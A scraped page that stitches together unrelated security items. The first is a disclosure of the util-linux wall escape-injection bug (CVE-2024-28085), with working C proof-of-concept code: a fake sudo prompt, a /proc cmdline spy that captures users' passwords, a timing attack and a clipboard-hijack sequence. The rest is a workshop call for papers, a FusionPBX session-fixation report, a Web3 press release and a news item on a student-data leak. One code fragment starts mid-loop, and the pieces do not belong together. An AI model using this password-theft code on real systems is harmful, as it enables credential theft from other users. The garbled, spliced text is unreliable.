The util-linux wall command does not filter escape sequences from command line arguments. The vulnerable code was introduced in commit cdd3cc7fa4 (2013). Every version since has been vulnerable. This allows unprivileged users to put arbitrary text on other users terminals, if mesg is set to y and wall is setgid. CentOS is not vulnerable since wall is not setgid. On Ubuntu 22.04 and Debian Bookworm, wall is both setgid and mesg is set to y by default.

Wall-Escape (CVE-2024-28085)

Skyler Ferrante: Escape sequence injection in util-linux wall

=================================================================  
Summary  
=================================================================

The util-linux wall command does not filter escape sequences from  
command line arguments. The vulnerable code was introduced in  
commit cdd3cc7fa4 (2013). Every version since has been  
vulnerable.

This allows unprivileged users to put arbitrary text on other  
users terminals, if mesg is set to y and wall is setgid. CentOS  
is not vulnerable since wall is not setgid. On Ubuntu 22.04 and  
Debian Bookworm, wall is both setgid and mesg is set to y by  
default.

If a system runs a command when commands are not found, with the  
unknown command as an argument, the unknown command will be  
leaked. This is true of Ubuntu 22.04. Debian Bookworm does not  
leak unknown commands in its starting configuration.

On Ubuntu 22.04, we have enough control to leak a users password  
by default. The only indication of attack to the user will be an  
incorrect password prompt when they correctly type their  
password, along with their password being in their command  
history.

On other systems that allow wall messages to be sent, an attacker  
may be able to alter the clipboard of a victim. This works on  
windows-terminal, but not on gnome-terminal.

=================================================================  
Analysis  
=================================================================

When displaying inputs from stdin, wall uses the function  
fputs_careful in order to neutralize escape characters.

Unfortunately, wall does not do the same for input coming from  
argv.

term-utils/wall.c (note that mvec is argv)  
```  
/*  
* Read message from argv[]  
*/  
int i;

for (i = 0; i < mvecsz; i++) {  
  fputs(mvec[i], fs);  
  if (i < mvecsz - 1)  
          fputc(' ', fs);  
}  
fputs("\r\n", fs);  
...

/*  
 * Read message from stdin.  
 */  
while (getline(&lbuf, &lbuflen, stdin) >= 0)  
        fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);  
```

Since argv is attacker controlled, and can contain binary data,  
this is exploitable. A simple PoC command:

        wall $(printf "\033[33mHI")

If you are vulnerable, this should show a broadcast with "HI"  
being yellow. If we instead run:

        echo $(printf "\033[33mHI") | wall

This should fail with "^[[33m" showing up before our message.

To make sure the PoC will work, make sure your victim user can  
actually receive messages. First check that mesg is set to y  
(`mesg y`). If a user does not have mesg turned on, they are not  
exploitable.

If you still can't receive messages, try running `su user` or  
accessing the machine through SSH. Note that just because you  
can't receive messages without first going through su/SSH, does  
not mean a user is not vulnerable.  
=================================================================  
Exploitation  
=================================================================

Most distros allow argument data to be seen by unprivileged  
users, and some distros run commands when commands are not found.  
We can use this to leak a users password by tricking them into  
giving their password as a command to run.

When I run the command xsnow in my terminal, I get the following  
output:  
```  
Command 'xsnow' not found, but can be installed with:  
sudo apt install xsnow  
```

Lets look at what new processes are created when I do this:  
```  
-bash  
/usr/bin/python3 /usr/lib/command-not-found -- xsnow  
/usr/bin/snap advise-snap --format=json --command xsnow  
```

This is on Ubuntu, but similar commands exist on other systems.

As a simple demonstration let's create a fake sudo prompt for  
gnome-terminal, and then spy on /proc/$pid/cmdline.

fake sudo prompt:  
```  
#include<stdio.h>  
#include<unistd.h>

int main(){  
        char* argv[] = {"prog",  
                "\033[3A" // Move up 3  
                "\033[K"  // Delete prompt  
                "[sudo] password for a_user:"  
                "\033[?25l"  
                // Set forground RGB (48,10,36)  
                //      hide typing  
                "\033[38;2;48;10;36m",  
        NULL};

        char* envp[] = {NULL};

        execve("/usr/bin/wall", argv, envp);  
}  
```

cmdline spy:  
```

        char buf[BUFSIZ];

        DIR* proc_dir;  
        struct dirent *dir_e;  
        int curr_e_fp;

        while(1){  
                proc_dir = opendir("/proc");  
                if(!proc_dir)  
                        abort();

                usleep(USLEEP_TIME);  
                while((dir_e = readdir(proc_dir)) != NULL){  
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)  
                        if(!isdigit(*d_name))  
                                continue;

                        int num = atoi(d_name);

                        if(num > current_max_pid){  
                                next_max_pid = num;  
                        }else{  
                                continue;  
                        }

                        snprintf(current_file_name,  
sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");  
                        curr_e_fp = open(current_file_name, O_RDONLY);  
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);  
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)  
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds  
                        buf[ra-1] = '\n';

                        write(1, buf, ra);  
                }  
                current_max_pid = next_max_pid;  
                closedir(proc_dir);  
        }  
}  
```

If we run the cmdline spy and the sudo password prompt, the user  
may input their password as a command. It will look like the  
following on Ubuntu:

```  
-bash  
/usr/bin/python3 /usr/lib/command-not-found -- SuperSecretPassword!  
/usr/bin/snap advise-snap --format=json --command SuperSecretPassword!  
```

Some distros, like Debian, do not seem to have a command like  
command-not-found by default. There does not seem to be a way to  
leak a users password in this case then, even though we can send  
escape sequences to them.

This works, but the user has no reason to expect a password page  
at this point. Now that we have shown some exploitability, lets  
try and make it better.

Imagine we run the cmdline spy in one terminal, and then in  
another terminal we run `sudo systemctl status cron.service`.  
The spy will see the sudo process first, and then after the user  
types their password correctly they will see `systemctl status  
cron.service`.

```  
sudo systemctl status cron.service  
systemctl status cron.service  
```

An attacker could inject a password incorrect message as soon as  
the second process starts (password correct). The user will  
assume they typed their password incorrectly and enter it again.

                        for(int i = 0; i<ra-1; i++)  
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds  
                        buf[ra-1] = '\0';

                        // Check if proces is us  
                        if(strstr(buf, argv[0])){  
                                continue;  
                        }  
                        // Check against search string  
                        if(!strcmp(buf, argv[1])){  
                                write(1, buf, ra);  
                                write(1, "\n", 1);  
                                return 0;  
                        }  
                }  
                closedir(proc_dir);  
        }  
}  
```

Imagine our new spy code was compiled as watch, and our wall  
exploit was called throw.

We can now run:  
```  
./watch "sudo systemctl start sshd"; ./watch "systemctl start sshd";  
sleep .1; ./throw  
```

The first two commands will wait until the user runs

        sudo systemctl start sshd

and correctly types their password for sudo. Then our wall  
exploit sends our fake sudo prompt. We need to sleep for a short  
duration to make sure we cover up the command prompt.

During this process, we need to make sure our original spy code  
is logging all cmdline arguments, to recover the victims password

Example log from original spy:  
```  
./watch sudo systemctl start sshd  
sudo systemctl start sshd  
./watch systemctl start sshd  
systemctl start sshd  
bash  
./throw  
bash  
/usr/bin/python3 /usr/lib/command-not-found -- SuperStrongPassword  
/usr/bin/snap advise-snap --format=json --command SuperStrongPassword  
```

Now lets imagine a different style of attack. An attacker can  
change a users clipboard through escape sequences on some  
terminals. For example, windows-terminal supports this. Gnome  
terminal does not.

```  
#include<stdio.h>

int main(){  
        printf("\033]52;c;QXR0YWNrZXIgbWVzc2FnZQo=\a");  
}  
```

Since we can send escape sequences through wall, if a user is  
using a terminal that supports this escape sequence, an attacker  
can change the victims clipboard to arbitrary text.

    [APOLOGIES FOR CROSS-POSTING]CALL FOR PAPERS13th International Workshop on Cyber Crime (IWCC 2024 -https://www.ares-conference.eu/iwcc/)to be held in conjunction with the 19th International Conference onAvailability, Reliability and Security (ARES 2024 -http://www.ares-conference.eu) July 30 - August 02, 2024, Vienna, AustriaIMPORTANT DATESSubmission Deadline  May 12, 2024Author Notification  May 29, 2024Proceedings Version  June 18, 2024Conference    July 30 - August 02, 2024WORKSHOP DESCRIPTIONThe societies of today's world are becoming increasingly dependent on onlineservices, where commercial activities, business transactions, governmentservices and biomedical diagnostics are realized. This tendency has beenevident during the recent COVID-19 pandemic. These developments, along withthe growing number of military conflicts worldwide (Ukraine, Israel, etc.),have led to the fast development of new cyber threats and numerousinformation security issues that are exploited by cybercriminals. Theinability to provide trusted, secure services in contemporary computernetwork technologies has a tremendous socio-economic impact on globalenterprises as well as individuals.Moreover, the frequently occurring international frauds impose the necessityto conduct investigations spanning multiple domains and countries. Suchexamination is often subject to different jurisdictions and legal systems. Agood illustration of the above is the Internet, which has made it easier toprepare and perpetrate traditional - but now cyber-enabled - crimes. It hasacted as an alternate avenue for criminals to conduct their activities andlaunch attacks with relative anonymity, a high degree of deniability, andthe opportunity to operate in a border-agnostic environment. Worryingdevelopments in the abuse of artificial intelligence and machine learningtechnologies lead to the increased capabilities of malign actors wholeverage these tools to design and propagate disinformation, which isespecially dangerous (and effective) during emergencies and crises of allkinds. The developments in Generative Artificial Intelligence have alsoenabled the increase of criminal capabilities in the production,dissemination, and weaponization of high-quality, convincing fake contact(text, audio, images, and videos), which translates not only to the truthand trust decay among the affected societies but also to the enhancedcapabilities in orchestrating the sophisticated cyber crimes. Furthermore, nowadays, the majority of life-science-based techniques andresulting data hinge on information technologies. Despite their considerableadvantages, dependence on cyber technologies also exposes vulnerabilities.Various threats in the digital realm could target biomedical systems,leading to adverse consequences. The field of CyberBioSecurity wasestablished to assist bio-related sciences in comprehending potential cyberthreats and formulating defense approaches, recovery protocols, andresilience strategies. The increased complexity of communications and thenetworking infrastructure is making the investigation of these new types ofcrimes difficult. Traces of illegal digital activities are difficult toanalyze due to large volumes of data. Nowadays, the digital crime scenefunctions like any other network, with dedicated administrators functioningas the first responders. This poses new challenges for law enforcement and intelligence communitiesand forces computer societies to utilize digital forensics to combat theincreasing number of cybercrimes. Forensic professionals must be fullyprepared to be able to provide court-admissible evidence. To make thesegoals achievable, forensic techniques should keep pace with newtechnologies. Prevention, mitigation, and interdiction of new and emergingthreats necessitates an increasingly thorough and multidisciplinaryapproaches, but also requires the collaboration of all relevant actors andstakeholders in designing the technology regulation and cyber governancemeasures.The aim of this workshop is to bring together the research outcomes providedby researchers from academia and the industry. The other goal is to show thelatest research results in digital forensics and cyberbiosecurity amongstothers.

FusionPBX suffers from a session fixation vulnerability.

*Vulnerability Name - *Application is Vulnerable to Session Fixation

*Vulnerable URL: *www.fusionpbx.com

*Overview of the Vulnerability*  
Session fixation is a security vulnerability that occurs when an attacker  
sets or fixes a user's session identifier, manipulating the authentication  
process. Typically exploited in web applications, this vulnerability allows  
the attacker to force a user's session ID to a known value, granting  
unauthorized access. Attackers can initiate the attack by tricking users  
into using a provided session ID or by planting a session ID through  
various means.

*Steps to Reproduce*  
Step 1: To reproduce this vulnerability open two browsers. Copy "PHPSESSID"  
cookie from Browser 1 and paste it to Browser 2.  
Step 2: Login in Browser 1 using valid credentials.  
Step 3: Navigate to Browser 2 and refresh the page or open this URL (  
https://www.fusionpbx.com/app/account/home.php)  
Step 4: Successfully logged in Browser 2 without entering the credentials.

*Impact of Vulnerability:*  
Anyone can easily hijack victims or user's sessions and get into his account  
. Cookie stealing is the best way the hacker can get into account.. it  
would not take more than 5 min to steal someone's cookie using PHP and all  
.....  
Even friends can fool the victim and get him hacked...

*Mitigation:*Manage sessions properly. This problem is mainly faced because  
the session doesn't get expired or doesn't get closed when logout is  
pressed. Each time the user logins the cookie must hold a unique different  
session-id to proceed.

This is a post from HackRead.com Read the original post: GoPlus Report: Blockchain Networks Using API Security Data to Mitigate Web3 Threats

**Singapore, 28 March 2024** – GoPlus Labs, the leading Web3 security infrastructure provider, has unveiled a groundbreaking report that highlights the growing, widespread use and potential of Web3 user security data to aid in risk management.

The findings of the report reveal a clear and growing demand for more advanced security tools that can effectively safeguard digital assets, verify the authenticity of nonfungible tokens (**NFTs**) and monitor decentralized applications for threats. 

The report, “Uncharted Consensus: The Widespread Use and Potential of User Security Data in Web3”, showcases the rapid adoption of GoPlus’s API suite, which provides Web3 industry stakeholders with unparalleled insights into the health and vulnerability of various cryptocurrencies, NFTs and decentralized applications. At the same time, it also underscores the unique role GoPlus plays in addressing Web3’s most pressing security challenges.

GoPlus is the developer of an API suite that’s designed to address the multifaceted challenges of Web3 user security, enabling targeted data analysis across key aspects of the industry. Its modules include a Token RIsk API and NFT Risk API that evaluate the risk associated with different cryptocurrencies and non-fungible tokens; a Malicious address API for monitoring and reporting malicious addresses; a dApp Security API for real-time monitoring and threat detection in decentralized applications; and an Approval API for checking malicious approval of an address.

The report shows there is rising demand for better Web3 security solutions, with GoPlus revealing that its Token Risk API saw a rapid increase in utilization from November 2023, with some months witnessing peaks of over 20 million calls per day.  This suggests that the crypto industry is collectively shifting towards pre-emptive risk identification and mitigation, driven by the evolving and intensifying landscape of security threats. 

These increases were mirrored by similar usage spikes in GoPlus’s other API modules. For instance, usage of its NFT API spiked between Dec. 2022 and Feb. 2023, and then several times again between March and May 2023, before stabilizing, followed by a sustained period of much steadier growth. These usage trends mirror the growing adoption of NFTs and the corresponding need for tools that can accurately assess the risks associated with these digital assets.

****Evolving Threat Landscape****

A closer analysis of the API usage data illustrated a significant fluctuation in the presence of “high-risk” tokens, reflecting a threat landscape that’s just as volatile as the crypto industry itself. The majority of these high-risk tokens were identified as being either “blacklisted” or “honeypots”, although many other kinds of threats were identified, illustrating the evolving tactics used by hackers and scammers in the industry. The report also found an exponential increase in threats associated with NFTs, such as privileged operations (burn and minting), restricted approvals, self-destruct mechanisms and unauthorized transfers.

The threat-related insights demonstrate the need for Web3 projects to employ more dynamic, robust and adaptable security strategies and countermeasures to deal with the evolving threat landscape, as well as the need for education and collaboration to increase awareness of these threats and find better ways to mitigate them.

****Top Ecosystems & Threats****

The comprehensive study also highlighted the differing levels of user engagement and **security concerns across blockchains**, providing perspective on the unique challenges and risks faced by each ecosystem. 

BNB Chain emerged as the most prominent user of GoPlus’s APIs, being queried more than 92.7 million times during the research period. This reflects Binance’s laudable achievement in fostering a large community that’s united in its determination to identify and proactively mitigate security risks such as token vulnerabilities and scams.

Ethereum was the second-most popular chain to leverage GoPlus, with users querying its APIs 84 million times, highlighting both the extent of its user base and its vigilance against vulnerabilities and scams. Meanwhile, Polygon also stood out with almost 9.8 million queries during the period. This high level of adoption in the much smaller Polygon community illustrates the strong emphasis it places on scaling security solutions for the Web3 industry. 

Other insights from the report include the top ten token risks faced by the crypto industry today, with further analysis uncovering ten tokens with characteristics that mark them out as being “particularly malicious”, and also the top ten NFT collections that could be perceived as risky, due to their close association with phishing scams.  

****The Importance Of User Security Insights****

The GoPlus report provides valuable insights into aspects such as user engagement, preferences and the nature of the evolving threats in Web3, which can be essential for stakeholders to make more informed decisions and mitigate the risks they face. 

Perhaps the most significant finding is that the report underlines the critical importance Web3 security data can play in helping the industry address the evolving risk landscape. As the Web3 ecosystem grows and evolves, the need for comprehensive security data will become all the more vital, helping dApp developers protect their users, while educating users on how to protect themselves.  

****About GoPlus Labs****

**GoPlus Labs** is revolutionizing Web3 security by offering a transparent, User Security Network with permissionless security data. It provides a User Security Module as a Service to any blockchain, utilizing advanced AI for comprehensive threat detection.

Notably, its security data infrastructure has seen a massive usage increase, the user security data usage has grown 5000x from 2022 to now, with daily data API calls 21M.

SecwareX, launched in March 2024, quickly gained significant traction, showcasing high user trust. Within its first two weeks, it attracted over 400,000 users, including more than 30,000 premium (paid) users, highlighting its immediate impact and user trust.

GoPlus enhances Web3 user security through broad support for over 20 chains, collaboration with RaaS and Layer2 partners like Altlayer, zkSync, and Manta, and the introduction of innovative products like the “Secscan” security engine and Secware Middleware. These advancements facilitate a more open data and computing layer, moving towards gradual decentralization.

Goplus enhances Web3 user security and promotes decentralization by motivating user participation with its token system. The Goplus Token will act as a “gas fee,” necessary to reinforce the user security network and expand its utility. Moreover, it encourages users to become SecWare Service Providers, Data Providers, and Computing Node Providers. By contributing to the network, these participants can earn Goplus Tokens.

Hundreds of thousands of UK student records exposed in software firm's server leak putting names, grades, and photos at risk - Learn more about the school software breach and how to protect your child's information.
This is a post from HackRead.com Read the original post: Trove of UK Student Records Exposed in School Software Server Leak

Cybersecurity researcher Jeremiah Fowler identified a **misconfigured cloud server** that impacted hundreds of thousands of students in the United Kingdom. Fowler disclosed his findings through WebsitePlanet, outlining how a UK-based school tracking software provider unintentionally exposed individuals to the risk of a data breach.

In the **report** shared with Hackread.com prior to its publication on Wednesday, March 27, 2024, it was revealed that the server contained almost a million (864,603) records, with approximately 214,000 of them being unique images of children.

In addition to the images, the exposed database contained sensitive information including student names, enrolled subjects, academic achievements, and indications of learning disabilities. Shockingly, these records covered a period from 2017 to 2023.

Screenshot from the exposed server (Credit: Website Planet)

According to Fowler, the server was affiliated with **OTrack**, also known as Optimum Pupil/Sonar Tracker, developed by Juniper Education. OTrack is utilized by over 7,000 primary and secondary schools across the United Kingdom and is an effective platform for tracking pupil performance and managing schools.

It is a fact that schools are one of **the most targeted industries** however, a data leak related to student software is not new. Earlier in January this year, Fowler reported similar findings impacting students from a Texas-based school when its safety software provider developed by **Raptor Technologies exposed** around 4,024,001 records to the public.

Upon discovering the misconfiguration, Fowler promptly notified the responsible parties through a responsible disclosure notice, leading to the swift closure of public access to the server.

However, the question remains whether unauthorized individuals had accessed it and to what extent the data may have been misused. The full scope of the data leak can be uncovered only through an internal forensic audit.

Another worth mentioning positive outcome is that, **unlike businesses that deny data breaches**, the company’s data protection officer, representing Juniper Education, assured that an investigation would be carried out.

Nevertheless, the server misconfiguration goes on to show the critical importance of prioritizing proper cybersecurity measures, especially when dealing with the sensitive data of minors. With educational institutions relying more on digital platforms, it’s critical to take precautions to effectively secure student information.
